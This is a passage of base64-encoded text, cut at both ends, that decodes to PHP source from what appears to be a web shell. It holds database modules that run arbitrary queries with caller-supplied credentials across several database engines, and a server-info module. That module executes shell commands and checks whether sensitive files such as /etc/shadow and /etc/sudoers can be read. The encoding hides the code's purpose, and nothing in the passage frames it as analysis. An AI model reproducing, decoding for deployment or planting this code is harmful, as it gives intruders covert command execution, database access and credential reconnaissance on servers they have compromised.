1bmN0aW9uX2V4aXN0cygnbXlzcWxfY2xvc2UnKSkgcmV0dXJuIG15c3FsX2Nsb3NlKCRjb24pOwoJCX0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ21zc3FsJyl7CgkJCWlmKGZ1bmN0aW9uX2V4aXN0cygnc3Fsc3J2X2Nsb3NlJykpIHJldHVybiBzcWxzcnZfY2xvc2UoJGNvbik7CgkJCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nsb3NlJykpIHJldHVybiBtc3NxbF9jbG9zZSgkY29uKTsKCQl9CgkJZWxzZWlmKCRzcWx0eXBlID09ICdwZ3NxbCcpIHJldHVybiBwZ19jbG9zZSgkY29uKTsKCQllbHNlaWYoJHNxbHR5cGUgPT0gJ29yYWNsZScpIHJldHVybiBvY2lfY2xvc2UoJGNvbik7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdzcWxpdGUzJykgcmV0dXJuICRjb24tPmNsb3NlKCk7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdzcWxpdGUnKSByZXR1cm4gc3FsaXRlX2Nsb3NlKCRjb24pOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnb2RiYycpIHJldHVybiBvZGJjX2Nsb3NlKCRjb24pOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAncGRvJykgcmV0dXJuICRjb24gPSBudWxsOwoJfQp9CmlmKCFmdW5jdGlvbl9leGlzdHMoJ3NxbF9nZXRfc3VwcG9ydGVkJykpewoJZnVuY3Rpb24gc3FsX2dldF9zdXBwb3J0ZWQoKXsKCQkkZGJfc3VwcG9ydGVkID0gYXJyYXkoKTsKCQlpZihmdW5jdGlvbl9leGlzdHMoIm15c3FsX2Nvbm5lY3QiKSkgJGRiX3N1cHBvcnRlZFtdID0gJ215c3FsJzsKCQlpZihmdW5jdGlvbl9leGlzdHMoIm1zc3FsX2Nvbm5lY3QiKSB8fCBmdW5jdGlvbl9leGlzdHMoInNxbHNydl9jb25uZWN0IikpICRkYl9zdXBwb3J0ZWRbXSA9ICdtc3NxbCc7CgkJaWYoZnVuY3Rpb25fZXhpc3RzKCJwZ19jb25uZWN0IikpICRkYl9zdXBwb3J0ZWRbXSA9ICdwZ3NxbCc7CgkJaWYoZnVuY3Rpb25fZXhpc3RzKCJvY2lfY29ubmVjdCIpKSAkZGJfc3VwcG9ydGVkW10gPSAnb3JhY2xlJzsKCQlpZihmdW5jdGlvbl9leGlzdHMoInNxbGl0ZV9vcGVuIikpICRkYl9zdXBwb3J0ZWRbXSA9ICdzcWxpdGUnOwoJCWlmKGNsYXNzX2V4aXN0cygiU1FMaXRlMyIpKSAkZGJfc3VwcG9ydGVkW10gPSAnc3FsaXRlMyc7CgkJaWYoZnVuY3Rpb25fZXhpc3RzKCJvZGJjX2Nvbm5lY3QiKSkgJGRiX3N1cHBvcnRlZFtdID0gJ29kYmMnOwoJCWlmKGNsYXNzX2V4aXN0cygiUERPIikpICRkYl9zdXBwb3J0ZWRbXSA9ICdwZG8nOwoJCXJldHVybiBpbXBsb2RlKCIsIiwgJGRiX3N1cHBvcnRlZCk7Cgl9Cn0KaWYoaXNzZXQoJHBbJ2RiR2V0U3VwcG9ydGVkJ10pKXsKCSRyZXMgPSBzcWxfZ2V0X3N1cHBvcnRlZCgpOwoJaWYoZW1wdHkoJHJlcykpICRyZXMgPSAiZXJyb3IiOwoJb3V0cHV0KCRyZXMpOwp9CmVsc2VpZihpc3NldCgkcFsnZGJUeXBlJ10pJiZpc3NldCgkcFsnZGJIb3N0J10pJiZpc3NldCgkcFsnZGJVc2VyJ10pJiZpc3NldCgkcFsnZGJQYXNzJ10pJiZpc3NldCgkcFsnZGJQb3J0J10pKXsKCSR0eXBlID0gJHBbJ2RiVHlwZSddOwoJJGhvc3QgPSAkcFsnZGJIb3N0J107CgkkdXNlciA9ICRwWydkYlVzZXInXTsKCSRwYXNzID0gJHBbJ2RiUGFzcyddOwoJJHBvcnQgPSAkcFsnZGJQb3J0J107CgkkY29uID0gc3FsX2Nvbm5lY3QoJHR5cGUgLCRob3N0ICwgJHVzZXIgLCAkcGFzcyk7CgkkcmVzID0gIiI7CglpZigkY29uIT09ZmFsc2UpewoJCWlmKGlzc2V0KCRwWydkYlF1ZXJ5J10pKXsKCQkJJHF1ZXJ5ID0gJHBbJ2RiUXVlcnknXTsKCQkJJHBhZ2luYXRpb24gPSAiIjsKCQkJaWYoKGlzc2V0KCRwWydkYkRCJ10pKSYmKGlzc2V0KCRwWydkYlRhYmxlJ10pKSl7CgkJCQkkZGIgPSB0cmltKCRwWydkYkRCJ10pOwoJCQkJJHRhYmxlID0gdHJpbSgkcFsnZGJUYWJsZSddKTsKCQkJCSRzdGFydCA9IChpbnQpIChpc3NldCgkcFsnZGJTdGFydCddKSk/IHRyaW0oJHBbJ2RiU3RhcnQnXSk6MDsKCQkJCSRsaW1pdCA9IChpbnQpIChpc3NldCgkcFsnZGJMaW1pdCddKSk/IHRyaW0oJHBbJ2RiTGltaXQnXSk6MTAwOwoJCQkJaWYoJHR5cGU9PSdteXNxbCcpewoJCQkJCSRxdWVyeSA9ICJTRUxFQ1QgKiBGUk9NICIuJGRiLiIuIi4kdGFibGUuIiBMSU1JVCAiLiRzdGFydC4iLCIuJGxpbWl0LiI7IjsKCQkJCX0KCQkJCWVsc2VpZigkdHlwZT09J21zc3FsJyl7CgkJCQkJJHF1ZXJ5ID0gIlNFTEVDVCBUT1AgIi4kbGltaXQuIiAqIEZST00gIi4kZGIuIi4uIi4kdGFibGUuIjsiOwoJCQkJfQoJCQkJZWxzZWlmKCR0eXBlPT0ncGdzcWwnKXsKCQkJCQkkcXVlcnkgPSAiU0VMRUNUICogRlJPTSAiLiRkYi4iLiIuJHRhYmxlLiIgTElNSVQgIi4kbGltaXQuIiBPRkZTRVQgIi4kc3RhcnQuIjsiOwoJCQkJfQoJCQkJZWxzZWlmKCR0eXBlPT0nb3JhY2xlJyl7CgkJCQkJJGxpbWl0ID0gJHN0YXJ0ICsgJGxpbWl0OwoJCQkJCSRxdWVyeSA9ICJTRUxFQ1QgKiBGUk9NICIuJGRiLiIuIi4kdGFibGUuIiBXSEVSRSBST1dOVU0gQkVUV0VFTiAiLiRzdGFydC4iIEFORCAiLiRsaW1pdC4iOyI7CgkJCQl9CgkJCQllbHNlaWYoJHR5cGU9PSdzcWxpdGUnIHx8ICR0eXBlPT0nc3FsaXRlMycpewoJCQkJCSRxdWVyeSA9ICJTRUxFQ1QgKiBGUk9NICIuJHRhYmxlLiIgTElNSVQgIi4kc3RhcnQuIiwiLiRsaW1pdC4iOyI7CgkJCQl9CgkJCQllbHNlICRxdWVyeSA9ICIiOwoJCQkJJHBhZ2luYXRpb24gPSAiTGltaXQgPGlucHV0IHR5cGU9J3RleHQnIGlkPSdkYkxpbWl0JyB2YWx1ZT0nIi5odG1sX3NhZmUoJGxpbWl0KS4iJyBzdHlsZT0nd2lkdGg6NTBweDsnPgoJCQkJCQkJCTxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJkYl9wYWdpbmF0aW9uKCdwcmV2Jyk7XCI+cHJldjwvc3Bhbj4KCQkJCQkJCQk8c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwiZGJfcGFnaW5hdGlvbignbmV4dCcpO1wiPm5leHQ8L3NwYW4+CgkJCQkJCQkJPGlucHV0IHR5cGU9J2hpZGRlbicgaWQ9J2RiREInIHZhbHVlPSciLmh0bWxfc2FmZSgkZGIpLiInPgoJCQkJCQkJCTxpbnB1dCB0eXBlPSdoaWRkZW4nIGlkPSdkYlRhYmxlJyB2YWx1ZT0nIi5odG1sX3NhZmUoJHRhYmxlKS4iJz4KCQkJCQkJCQk8aW5wdXQgdHlwZT0naGlkZGVuJyBpZD0nZGJTdGFydCcgdmFsdWU9JyIuaHRtbF9zYWZlKCRzdGFydCkuIic+CgkJCQkJCQkJIjsKCQkJfQoJCQkkcXVlcnlzID0gZXhwbG9kZSgiOyIsICRxdWVyeSk7CgkJCWZvcmVhY2goJHF1ZXJ5cyBhcyAkcXVlcnkpewoJCQkJaWYodHJpbSgkcXVlcnkpICE9ICIiKXsKCQkJCQkkcXVlcnlfcXVlcnkgPSBzcWxfcXVlcnkoJHR5cGUsICRxdWVyeSwgJGNvbik7CgkJCQkJaWYoJHF1ZXJ5X3F1ZXJ5IT1mYWxzZSl7CgkJCQkJCSRyZXMgLj0gIjxwPiIuaHRtbF9zYWZlKCRxdWVyeSkuIjsmbmJzcDsmbmJzcDsmbmJzcDs8c3BhbiBjbGFzcz0nc3Ryb25nJz5bPC9zcGFuPiBvayA8c3BhbiBjbGFzcz0nc3Ryb25nJz5dPC9zcGFuPjwvcD4iOwoJCQkJCQlpZighZW1wdHkoJHBhZ2luYXRpb24pKXsKCQkJCQkJCSRyZXMgLj0gIjxwPiIuJHBhZ2luYXRpb24uIjwvcD4iOwoJCQkJCQl9CgkJCQkJCWlmKCFpc19ib29sKCRxdWVyeV9xdWVyeSkpewoJCQkJCQkJJHJlcyAuPSAiPHRhYmxlIGNsYXNzPSdib3JkZXIgZGF0YVZpZXcgc29ydGFibGUgdGJsUmVzdWx0Jz48dHI+IjsKCQkJCQkJCWZvcigkaSA9IDA7ICRpIDwgc3FsX251bV9maWVsZHMoJHR5cGUsICRxdWVyeV9xdWVyeSk7ICRpKyspCgkJCQkJCQkJJHJlcyAuPSAiPHRoPiIuaHRtbF9zYWZlKHNxbF9maWVsZF9uYW1lKCR0eXBlLCAkcXVlcnlfcXVlcnksICRpKSkuIjwvdGg+IjsKCQkJCQkJCSRyZXMgLj0gIjwvdHI+IjsKCQkJCQkJCXdoaWxlKCRyb3dzID0gc3FsX2ZldGNoX2RhdGEoJHR5cGUsICRxdWVyeV9xdWVyeSkpewoJCQkJCQkJCSRyZXMgLj0gIjx0cj4iOwoJCQkJCQkJCWZvcmVhY2goJHJvd3MgYXMgJHIpewoJCQkJCQkJCQlpZihlbXB0eSgkcikpICRyID0gIiAiOwoJCQkJCQkJCQkkcmVzIC49ICI8dGQ+Ii5odG1sX3NhZmUoJHIpLiI8L3RkPiI7CgkJCQkJCQkJfQoJCQkJCQkJCSRyZXMgLj0gIjwvdHI+IjsKCQkJCQkJCX0KCQkJCQkJCSRyZXMgLj0gIjwvdGFibGU+IjsKCQkJCQkJfQoJCQkJCX0KCQkJCQllbHNlewoJCQkJCQkkcmVzIC49ICI8cD4iLmh0bWxfc2FmZSgkcXVlcnkpLiI7Jm5ic3A7Jm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J3N0cm9uZyc+Wzwvc3Bhbj4gZXJyb3IgPHNwYW4gY2xhc3M9J3N0cm9uZyc+XTwvc3Bhbj48L3A+IjsKCQkJCQl9CgkJCQl9CgkJCX0KCQl9CgkJZWxzZXsKCQkJaWYoKCR0eXBlIT0ncGRvJykgJiYgKCR0eXBlIT0nb2RiYycpKXsKCQkJCWlmKCR0eXBlPT0nbXlzcWwnKSAkc2hvd2RiID0gIlNIT1cgREFUQUJBU0VTIjsKCQkJCWVsc2VpZigkdHlwZT09J21zc3FsJykgJHNob3dkYiA9ICJTRUxFQ1QgbmFtZSBGUk9NIG1hc3Rlci4uc3lzZGF0YWJhc2VzIjsKCQkJCWVsc2VpZigkdHlwZT09J3Bnc3FsJykgJHNob3dkYiA9ICJTRUxFQ1Qgc2NoZW1hX25hbWUgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEuc2NoZW1hdGEiOwoJCQkJZWxzZWlmKCR0eXBlPT0nb3JhY2xlJykgJHNob3dkYiA9ICJTRUxFQ1QgVVNFUk5BTUUgRlJPTSBTWVMuQUxMX1VTRVJTIE9SREVSIEJZIFVTRVJOQU1FIjsKCQkJCWVsc2VpZigoJHR5cGU9PSdzcWxpdGUzJykgfHwgKCR0eXBlPT0nc3FsaXRlJykpICRzaG93ZGIgPSAiU0VMRUNUIFwiIi4kaG9zdC4iXCIiOwoJCQkJZWxzZSAkc2hvd2RiID0gIlNIT1cgREFUQUJBU0VTIjsKCQkJCSRxdWVyeV9kYiA9IHNxbF9xdWVyeSgkdHlwZSwgJHNob3dkYiwgJGNvbik7CgkJCQlpZigkcXVlcnlfZGIhPWZhbHNlKSB7CgkJCQkJd2hpbGUoJGRiX2FyciA9IHNxbF9mZXRjaF9kYXRhKCR0eXBlLCAkcXVlcnlfZGIpKXsKCQkJCQkJZm9yZWFjaCgkZGJfYXJyIGFzICRkYil7CgkJCQkJCQlpZigkdHlwZT09J215c3FsJykgJHNob3d0YmwgPSAiU0hPVyBUQUJMRVMgRlJPTSAiLiRkYjsKCQkJCQkJCWVsc2VpZigkdHlwZT09J21zc3FsJykgJHNob3d0YmwgPSAiU0VMRUNUIG5hbWUgRlJPTSAiLiRkYi4iLi5zeXNvYmplY3RzIFdIRVJFIHh0eXBlID0gJ1UnIjsKCQkJCQkJCWVsc2VpZigkdHlwZT09J3Bnc3FsJykgJHNob3d0YmwgPSAiU0VMRUNUIHRhYmxlX25hbWUgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIFdIRVJFIHRhYmxlX3NjaGVtYT0nIi4kZGIuIiciOwoJCQkJCQkJZWxzZWlmKCR0eXBlPT0nb3JhY2xlJykgJHNob3d0YmwgPSAiU0VMRUNUIFRBQkxFX05BTUUgRlJPTSBTWVMuQUxMX1RBQkxFUyBXSEVSRSBPV05FUj0nIi4kZGIuIiciOwoJCQkJCQkJZWxzZWlmKCgkdHlwZT09J3NxbGl0ZTMnKSB8fCAoJHR5cGU9PSdzcWxpdGUnKSkgJHNob3d0YmwgPSAiU0VMRUNUIG5hbWUgRlJPTSBzcWxpdGVfbWFzdGVyIFdIRVJFIHR5cGU9J3RhYmxlJyI7CgkJCQkJCQllbHNlICRzaG93dGJsID0gIiI7CgkJCQkJCQkkcmVzIC49ICI8cCBjbGFzcz0nYm94dGl0bGUgYm94TmF2JyBzdHlsZT0ncGFkZGluZzo4cHggMzJweDttYXJnaW4tYm90dG9tOjRweDsnPiIuJGRiLiI8L3A+PHRhYmxlIGNsYXNzPSdib3JkZXInIHN0eWxlPSdkaXNwbGF5Om5vbmU7bWFyZ2luOjhweCAwOyc+IjsKCQkJCQkJCSRxdWVyeV90YWJsZSA9IHNxbF9xdWVyeSgkdHlwZSwgJHNob3d0YmwsICRjb24pOwoJCQkJCQkJaWYoJHF1ZXJ5X3RhYmxlIT1mYWxzZSl7CgkJCQkJCQkJd2hpbGUoJHRhYmxlc19hcnIgPSBzcWxfZmV0Y2hfZGF0YSgkdHlwZSwgJHF1ZXJ5X3RhYmxlKSl7CgkJCQkJCQkJCWZvcmVhY2goJHRhYmxlc19hcnIgYXMgJHRhYmxlKSAkcmVzIC49ICI8dHI+PHRkIGNsYXNzPSdkYlRhYmxlIGJvcmRlcmJvdHRvbScgc3R5bGU9J2N1cnNvcjpwb2ludGVyOyc+Ii4kdGFibGUuIjwvdGQ+PC90cj4iOwoJCQkJCQkJCX0KCQkJCQkJCX0KCQkJCQkJCSRyZXMgLj0gIjwvdGFibGU+IjsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCX0KCWlmKCFlbXB0eSgkcmVzKSkgb3V0cHV0KCRyZXMpOwoJb3V0cHV0KCdlcnJvcicpOwp9CiRHTE9CQUxTWydtb2R1bGUnXVsnaW5mbyddWydpZCddID0gImluZm8iOwokR0xPQkFMU1snbW9kdWxlJ11bJ2luZm8nXVsndGl0bGUnXSA9ICJJbmZvIjsKJEdMT0JBTFNbJ21vZHVsZSddWydpbmZvJ11bJ2pzX29udGFic2VsZWN0ZWQnXSA9ICIiOwokR0xPQkFMU1snbW9kdWxlJ11bJ2luZm8nXVsnY29udGVudCddID0gIjxkaXYgY2xhc3M9J2JvcmRlciBpbmZvUmVzdWx0Jz48L2Rpdj4iOwppZighZnVuY3Rpb25fZXhpc3RzKCdpbmZvX2dldGluZm8nKSl7CglmdW5jdGlvbiBpbmZvX2dldGluZm8oKXsKCQkkcmVzID0gIiI7CgkJLy8gc2VydmVyIG1pc2MgaW5mbwoJCSRyZXMgLj0gIjxwIGNsYXNzPSdib3h0aXRsZScgb25jbGljaz1cImluZm9fdG9nZ2xlKCdpbmZvX3NlcnZlcicpO1wiIHN0eWxlPSdtYXJnaW4tYm90dG9tOjhweDsnPlNlcnZlciBJbmZvPC9wPiI7CgkJJHJlcyAuPSAiPGRpdiBpZD0naW5mb19zZXJ2ZXInIHN0eWxlPSdtYXJnaW4tYm90dG9tOjhweDtkaXNwbGF5Om5vbmU7Jz48dGFibGUgY2xhc3M9J2RhdGFWaWV3Jz4iOwoJCWlmKGlzX3dpbigpKXsKCQkJZm9yZWFjaCAocmFuZ2UoIkEiLCAiWiIpIGFzICRsZXR0ZXIpewoJCQkJaWYoaXNfcmVhZGFibGUoJGxldHRlci4iOlxcIikpewoJCQkJCSRkcml2ZSA9ICRsZXR0ZXIuIjoiOwoJCQkJCSRyZXMgLj0gIjx0cj48dGQ+ZHJpdmUgIi4kZHJpdmUuIjwvdGQ+PHRkPiIuZm9ybWF0X2JpdChAZGlza19mcmVlX3NwYWNlKCRkcml2ZSkpLiIgZnJlZSBvZiAiLmZvcm1hdF9iaXQoQGRpc2tfdG90YWxfc3BhY2UoJGRyaXZlKSkuIjwvdGQ+PC90cj4iOwoJCQkJfQoJCQl9CgkJfQoJCWVsc2UgJHJlcyAuPSAiPHRyPjx0ZD5yb290IHBhcnRpdGlvbjwvdGQ+PHRkPiIuZm9ybWF0X2JpdChAZGlza19mcmVlX3NwYWNlKCIvIikpLiIgZnJlZSBvZiAiLmZvcm1hdF9iaXQoQGRpc2tfdG90YWxfc3BhY2UoIi8iKSkuIjwvdGQ+PC90cj4iOwoJCSRyZXMgLj0gIjx0cj48dGQ+cGhwPC90ZD48dGQ+Ii5waHB2ZXJzaW9uKCkuIjwvdGQ+PC90cj4iOwoJCSRhY2Nlc3MgPSBhcnJheSgicHl0aG9uIj0+InB5dGhvbiAtViIsCgkJCQkJCSJwZXJsIj0+InBlcmwgLWUgXCJwcmludCBcJF1cIiIsCgkJCQkJCSJweXRob24iPT4icHl0aG9uIC1WIiwKCQkJCQkJInJ1YnkiPT4icnVieSAtdiIsCgkJCQkJCSJub2RlIj0+Im5vZGUgLXYiLAoJCQkJCQkibm9kZWpzIj0+Im5vZGVqcyAtdiIsCgkJCQkJCSJnY2MiPT4iZ2NjIC1kdW1wdmVyc2lvbiIsCgkJCQkJCSJqYXZhIj0+ImphdmEgLXZlcnNpb24iLAoJCQkJCQkiamF2YWMiPT4iamF2YWMgLXZlcnNpb24iCgkJCQkJCSk7CgkJZm9yZWFjaCgkYWNjZXNzIGFzICRrPT4kdil7CgkJCSR2ZXJzaW9uID0gZXhlY3V0ZSgkdik7CgkJCSR2ZXJzaW9uID0gZXhwbG9kZSgiXG4iLCAkdmVyc2lvbik7CgkJCWlmKCR2ZXJzaW9uWzBdKSAkdmVyc2lvbiA9ICR2ZXJzaW9uWzBdOwoJCQllbHNlICR2ZXJzaW9uID0gIj8iOwoJCQkkcmVzIC49ICI8dHI+PHRkPiIuJGsuIjwvdGQ+PHRkPiIuJHZlcnNpb24uIjwvdGQ+PC90cj4iOwoJCX0KCQlpZighaXNfd2luKCkpewoJCQkkaW50ZXJlc3RpbmcgPSBhcnJheSgKCQkJIi9ldGMvb3MtcmVsZWFzZSIsICIvZXRjL3Bhc3N3ZCIsICIvZXRjL3NoYWRvdyIsICIvZXRjL2dyb3VwIiwgIi9ldGMvaXNzdWUiLCAiL2V0Yy9pc3N1ZS5uZXQiLCAiL2V0Yy9tb3RkIiwgIi9ldGMvc3Vkb2VycyIsICIvZXRjL2hvc3RzIiwgIi9ldGMvYWxpYXNlcyIsCgkJCSIvcHJvYy92ZXJzaW9uIiwgIi9ldGMvcmVzb2x2LmNvbmYiLCAiL2V0Yy9zeXNjdGwuY29uZiIsCgkJCSIvZXRjL25hbWVkLmNvbmYiLCAiL2V0Yy9uZXR3b3JrL2ludGVyZmFjZXMiLCAiL2V0Yy9zcXVpZC9zcXVpZC5jb25mIiwgIi91c3IvbG9jYWwvc3F1aWQvZXRjL3NxdWlkLmNvbmYiLAoJCQkiL2V0Yy9zc2gvc3NoZF9jb25maWciLAoJCQkiL2V0Yy9odHRwZC9jb25mL2h0dHBkLmNvbmYiLCAiL3Vzci9sb2NhbC9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZiIsICIgL2V0Yy9hcGFjaGUyL2FwYWNoZTIuY29uZiIsICIvZXRjL2FwYWNoZTIvaHR0cGQuY29uZiIsICIvdXNyL3BrZy9ldGMvaHR0cGQvaHR0cGQuY29uZiIsICIvdXNyL2xvY2FsL2V0Yy9hcGFjaGUyMi9odHRwZC5jb25mIiwgIi91c3IvbG9jYWwvZXRjL2FwYWNoZTIvaHR0cGQuY29uZiIsICIvdmFyL3d3dy9jb25mL2h0dHBkLmNvbmYiLCAiL2V0Yy9hcGFjaGUyL2h0dHBkMi5jb25mIiwgIi9ldGMvaHR0cGQvaHR0cGQuY29uZiIsCgkJCSIvZXRjL2xpZ2h0dHBkL2xpZ2h0dHBkLmNvbmYiLCAiL2V0Yy9uZ2lueC9uZ2lueC5jb25mIiwKCQkJIi9ldGMvZnN0YWIiLCAiL2V0Yy9tdGFiIiwgIi9ldGMvY3JvbnRhYiIsICIvZXRjL2luaXR0YWIiLCAiL2V0Yy9tb2R1bGVzLmNvbmYiLCAiL2V0Yy9tb2R1bGVzIik7CgkJCWZvcmVhY2goJGludGVyZXN0aW5nIGFzICRmKXsKCQkJCWlmKEBpc19maWxlKCRmKSAmJiBAaXNfcmVhZGFibGUoJGYpKSAkcmVzIC49ICI8dHI+PHRkPiIuJGYuIjwvdGQ+PHRkPjxhIGRhdGEtcGF0aD0nIi5odG1sX3NhZmUoJGYpLiInIG9uY2xpY2s9J3ZpZXdfZW50cnkodGhpcyk7Jz4iLiRmLiIgaXMgcmVhZGFibGU8L2E+PC90ZD48L3RyPiI7CgkJCX0KCQl9CgkJJHJlcyAuPSAiPC90YWJsZT48L2Rpdj4iOwoJCWlmKCFpc193aW4oKSl7CgkJCS8vIGNwdSBpbmZvCgkJCWlmKCRpX2J1ZmY9dHJpbShyZWFkX2ZpbGUoIi9wcm9jL2NwdWluZm8iKSkpewoJCQkJJHJlcyAuPSAiPHAgY2xhc3M9J2JveHRpdGxlJyBvbmNsaWNrPVwiaW5mb190b2dnbGUoJ2luZm9fY3B1Jyk7XCIgc3R5bGU9J21hcmdpbi1ib3R0b206OHB4Oyc+Q1BVIEluZm88L3A+IjsKCQkJCSRyZXMgLj0gIjxkaXYgY2xhc3M9J2luZm8nIGlkPSdpbmZvX2NwdScgc3R5bGU9J21hcmdpbi1ib3R0b206OHB4O2Rpc3BsYXk6bm9uZTsnPiI7CgkJCQkkaV9idWZmcyA9IGV4cGxvZGUoIlxuXG4iLCAkaV9idWZmKTsKCQkJCWZvcmVhY2goJGlfYnVmZnMgYXMgJGlfYnVmZnNzKXsKCQkJCQkkaV9idWZmc3MgPSB0cmltKCRpX2J1ZmZzcyk7CgkJCQkJaWYoJGlfYnVmZnNzIT0iIil7CgkJCQkJCSRpX2J1ZmZzc3MgPSBleHBsb2RlKCJcbiIsICRpX2J1ZmZzcyk7CgkJCQkJCSRyZXMgLj0gIjx0YWJsZSBjbGFzcz0nZGF0YVZpZXcnPiI7CgkJCQkJCWZvcmVhY2goJGlfYnVmZnNzcyBhcyAkaSl7CgkJCQkJCQkkaSA9IHRyaW0oJGkpOwoJCQkJCQkJaWYoJGkhPSIiKXsKCQkJCQkJCQkkaWkgPSBleHBsb2RlKCI6IiwkaSk7CgkJCQkJCQkJaWYoY291bnQoJGlpKT09MikgJHJlcyAuPSAiPHRyPjx0ZD4iLiRpaVswXS4iPC90ZD48dGQ+Ii4kaWlbMV0uIjwvdGQ+PC90cj4iOwoJCQkJCQkJfQoJCQkJCQl9CgkJCQkJCSRyZXMgLj0gIjwvdGFibGU+IjsKCQkJCQl9CgkJCQl9CgkJCQkkcmVzIC49ICI8L2Rpdj4iOwoJCQl9CgkJCS8vIG1lbSBpbmZvCgkJCWlmKCRpX2J1ZmY9dHJpbShyZWFkX2ZpbGUoIi9wcm9jL21lbWluZm8iKSkpewoJCQkJJHJlcyAuPSAiPHAgY2xhc3M9J2JveHRpdGxlJyBvbmNsaWNrPVwiaW5mb190b2dnbGUoJ2luZm9fbWVtJyk7XCIgc3R5bGU9J21hcmdpbi1ib3R0b206OHB4Oyc+TWVtb3J5IEluZm88L3A+IjsKCQkJCSRpX2J1ZmZzID0gZXhwbG9kZSgiXG4iLCAkaV9idWZmKTsKCQkJCSRyZXMgLj0gIjxkaXYgY2xhc3M9J2luZm8nIGlkPSdpbmZvX21lbScgc3R5bGU9J21hcmdpbi1ib3R0b206OHB4O2Rpc3BsYXk6bm9uZTsnPjx0YWJsZSBjbGFzcz0nZGF0YVZpZXcnPiI7CgkJCQlmb3JlYWNoKCRpX2J1ZmZzIGFzICRpKXsKCQkJCQkkaSA9IHRyaW0oJGkpOwoJCQkJCWlmKCRpIT0iIil7CgkJCQkJCSRpaSA9IGV4cGxvZGUoIjoiLCRpKTsKCQkJCQkJaWYoY291bnQoJGlpKT09MikgJHJlcyAuPSAiPHRyPjx0ZD4iLiRpaVswXS4iPC90ZD48dGQ+Ii4kaWlbMV0uIjwvdGQ+PC90cj4iOwoJCQkJCX0KCQkJCQllbHNlICRyZXMgLj0gIjwvdGFibGU+PHRhYmxlIGNsYXNzPSdkYXRhVmlldyc+IjsKCQkJCX0KCQkJCSRyZXMgLj0gIjwvdGFibGU+PC9kaXY+IjsKCQkJfQoJCQkvLyBwYXJ0aXRpb24KCQkJaWYoJGlfYnVmZj10cmltKHJlYWRfZmlsZSgiL3Byb2MvcGFydGl0aW9ucyIpKSl7CgkJCQkkaV9idWZmID0gcHJlZ19yZXBsYWNlKCIvXCArLyIsICIgIiwgJGlfYnVmZik7CgkJCQkkcmVzIC49ICI8cCBjbGFzcz0nYm94dGl0bGUnIG9uY2xpY2s9XCJpbmZvX3RvZ2dsZSgnaW5mb19wYXJ0Jyk7XCIgc3R5bGU9J21hcmdpbi1ib3R0b206OHB4Oyc+UGFydGl0aW9ucyBJbmZvPC9wPiI7CgkJCQkkcmVzIC49ICI8ZGl2IGNsYXNzPSdpbmZvJyBpZD0naW5mb19wYXJ0JyBzdHlsZT0nbWFyZ2luLWJvdHRvbTo4cHg7ZGlzcGxheTpub25lOyc+IjsKCQkJCSRpX2J1ZmZzID0gZXhwbG9kZSgiXG5cbiIsICRpX2J1ZmYpOwoJCQkJJHJlcyAuPSAiPHRhYmxlIGNsYXNzPSdkYXRhVmlldyc+PHRyPiI7CgkJCQkkaV9oZWFkID0gZXhwbG9kZSgiICIsICRpX2J1ZmZzWzBdKTsKCQkJCWZvcmVhY2goJGlfaGVhZCBhcyAkaCkgJHJlcyAuPSAiPHRoPiIuJGguIjwvdGg+IjsKCQkJCSRyZXMgLj0gIjwvdHI+IjsKCQkJCSRpX2J1ZmZzcyA9IGV4cGxvZGUoIlxuIiwgJGlfYnVmZnNbMV0pOwoJCQkJZm9yZWFjaCgkaV9idWZmc3MgYXMgJGlfYil7CgkJCQkJJGlfcm93ID0gZXhwbG9kZSgiICIsIHRyaW0oJGlfYikpOwoJCQkJCSRyZXMgLj0gIjx0cj4iOwoJCQkJCWZvcmVhY2goJGlfcm93IGFzICRyKSAkcmVzIC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4kci4iPC90ZD4iOwoJCQkJCSRyZXMgLj0gIjwvdHI+IjsKCQkJCX0KCQkJCSRyZXMgLj0gIjwvdGFibGU+IjsKCQkJCSRyZXMgLj0gIjwvZGl2PiI7CgkJCX0KCQl9CgkJJHBocGluZm8gPSBhcnJheSgiUEhQIEdlbmVyYWwiID0+IElORk9fR0VORVJBTCwgIlBIUCBDb25maWd1cmF0aW9uIiA9PiBJTkZPX0NPTkZJR1VSQVRJT04sICJQSFAgTW9kdWxlcyIgPT4gSU5GT19NT0RVTEVTLCAiUEhQIEVudmlyb25tZW50IiA9PiBJTkZPX0VOVklST05NRU5ULCAiUEhQIFZhcmlhYmxlcyIgPT4gSU5GT19WQVJJQUJMRVMpOwoJCWZvcmVhY2goJHBocGluZm8gYXMgJHA9PiRpKXsKCQkJJHJlcyAuPSAiPHAgY2xhc3M9J2JveHRpdGxlJyBvbmNsaWNrPVwiaW5mb190b2dnbGUoJyIuJGkuIicpO1wiIHN0eWxlPSdtYXJnaW4tYm90dG9tOjhweDsnPiIuJHAuIjwvcD4iOwoJCQlvYl9zdGFydCgpOwoJCQlldmFsKCJwaHBpbmZvKCIuJGkuIik7Iik7CgkJCSRiID0gb2JfZ2V0X2NvbnRlbnRzKCk7CgkJCW9iX2VuZF9jbGVhbigpOwoJCQlpZihwcmVnX21hdGNoKCIvPGJvZHk+KC4qPyk8XC9ib2R5Pi9pcyIsICRiLCAkcikpewoJCQkJJGJvZHkgPSBzdHJfcmVwbGFjZShhcnJheSgiLCIsICI7IiwgIiZhbXA7IiksIGFycmF5KCIsICIsICI7ICIsICImIiksICRyWzFdKTsKCQkJCSRib2R5ID0gc3RyX3JlcGxhY2UoIjx0YWJsZSIsICI8dGFibGUgY2xhc3M9J2JveHRibCcgIiwgJGJvZHkpOwoJCQkJJGJvZHkgPSBwcmVnX3JlcGxhY2UoIi88dHIgY2xhc3M9XCJoXCI+KC4qPyk8XC90cj4vIiwgIiIsICRib2R5KTsKCQkJCSRib2R5ID0gcHJlZ19yZXBsYWNlKCIvPGEgaHJlZj1cImh0dHA6XC9cL3d3dy5waHAubmV0XC8o